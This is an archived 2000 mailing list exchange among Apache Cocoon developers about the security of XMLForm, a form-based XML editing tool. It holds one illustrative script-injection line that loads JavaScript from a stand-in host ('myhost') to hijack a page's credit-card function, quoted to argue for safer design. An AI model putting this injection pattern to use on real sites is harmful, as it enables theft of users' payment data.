cocoon-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Donald Ball <ba...@webslingerZ.com>
Subject Re: [announce] XMLForm - a new project using Xerces, Xalan, & JTidy
Date Mon, 06 Mar 2000 03:35:29 GMT
On Sat, 4 Mar 2000, Stefano Mazzocchi wrote:

> Sorry, forgot about this thread.
> 
> Donald Ball wrote:
> > 
> > > Also, I don't like the ability for users to match around with my XML
> > > structure from the HTML form, this is a HUGE security hole.
> > 
> > (match around == mess around ?)
> 
> yes, sorry.
> 
> > How else do you suppose content editors
> > are going to be able to edit site content over the web?? 
> 
> Anybody heard of WebDAV?

Er, yeah, but webdav is a protocol, it doesn't cover the actual _editing_,
just access control, authentication, etc.

> > If you're worried
> > about users being able to fake forms, well, there's a reason it's a POST
> > only servlet. I'm already going to add origination URL restrictions.
> > 
> > > I think Donald's proposal is clever, but adds more problems than it
> > > solves. We must think about better ways to do the full loop
> > 
> > Can you elaborate? Right now, the only thing I don't like about XMLForm is
> > having to write the XML fragment mockup in the HTML form using specially
> > named parameters. However, Eric van der Vlist has suggested an interesting
> > alternate strategy that I may well adopt. That being said, I'm now happily
> > adding, editing, and removing fragments from my XML files through a nice
> > HTML form interface using XMLForm and cocoon. I'd rather like to know what
> > problems you see with this approach.
> 
> Like I said, it's clever to encode the logical structure of the data in
> their variable names.... still this is a very dangerous approach. You're
> asking for trouble.
> 
> Not only you are allowing people to change your web content by forms
> (have you read the latest security reccomandation about cross-scripting?
> well, download Apache 1.3.12 to find out.) but you give them the power
> to place this content where they want in your tree.

I agree that this is a problem if you open these forms up to untrusted
users, e.g. the general public, but quite often these form edit pages are
there for use by trusted users; that is to say, users who you would allow
to edit the XML files by hand anyway, if only they were comfortable with
or capable of doing so.

> So, let's say, if Amazon allowed this in their page...something like
> 
>  text -> /document/comments/comment/text
> 
> and instead I hack up the HTML page and do
> 
>  text -> /document/header/title
> 
> I put "<div onload="invoque('http://myhost/myscript.js')"></div>"
> 
> and overwrite the "sendCreditCardNumber()" method from their page
> cloning it to my own site.
> 
> Without even having to hack their site.
> 
> Do you deal with something like that?

You write your stylesheet to ensure that javascript event handlers aren't
allowed in the HTML document.

> I think we need something like this
> 
>  <form>
>   <parameter name="whatever" defaultvalue="..." type="..."/>
>   ...
>  </form>
>  
>  <xsp:handle
> 
> that should generate the producer able to handle both GET (and create
> the form) and POST (and process the form doing security tests).
> 
> This is what I mean by loop.
> 
>  request -(get)-> form to fill -(post)-> response
> 
> all compiled into one XSP that takes care of everything (hopefully
> backed up with some OODBMS of some sort... either XML based or EJB
> based).

Sounds like an interesting approach. Give it a whirl. Eric van der Lizst
(sp?) suggested instead of naming HTML form elements using an XPath-like
expression, taking it out a step and adding special form tags to a
'template node' in the original document; e.g.

<page>
 <xmlform:template name="news">
  <news>
   <title><xmlform:input type="text"/></title>
   <datestamp><xmlform:input type="text" datatype="date"/></datestamp>
   <body><xmlform:input type="textarea" datatype="html"/></body>
  </news>
 </xmlform:template>
</page>

I think that this approach might ease some of the suggested security flaws
with my XMLForm - at the cost of having the form automatically generated
rather than crafted by hand. It's a tradeoff, but it might be worthwhile.
Whaddy'all think?

Oh, btw, there's a newer version of XMLForm available on my web site -
including a working example! It adds, edits, and removes nodes. It uses
XSP to generate the 'choose' and edit forms. A little kludgy but
effective. Check it out at

http://www.webslingerZ.com/balld/xmlform/

- donald


Mime
View raw message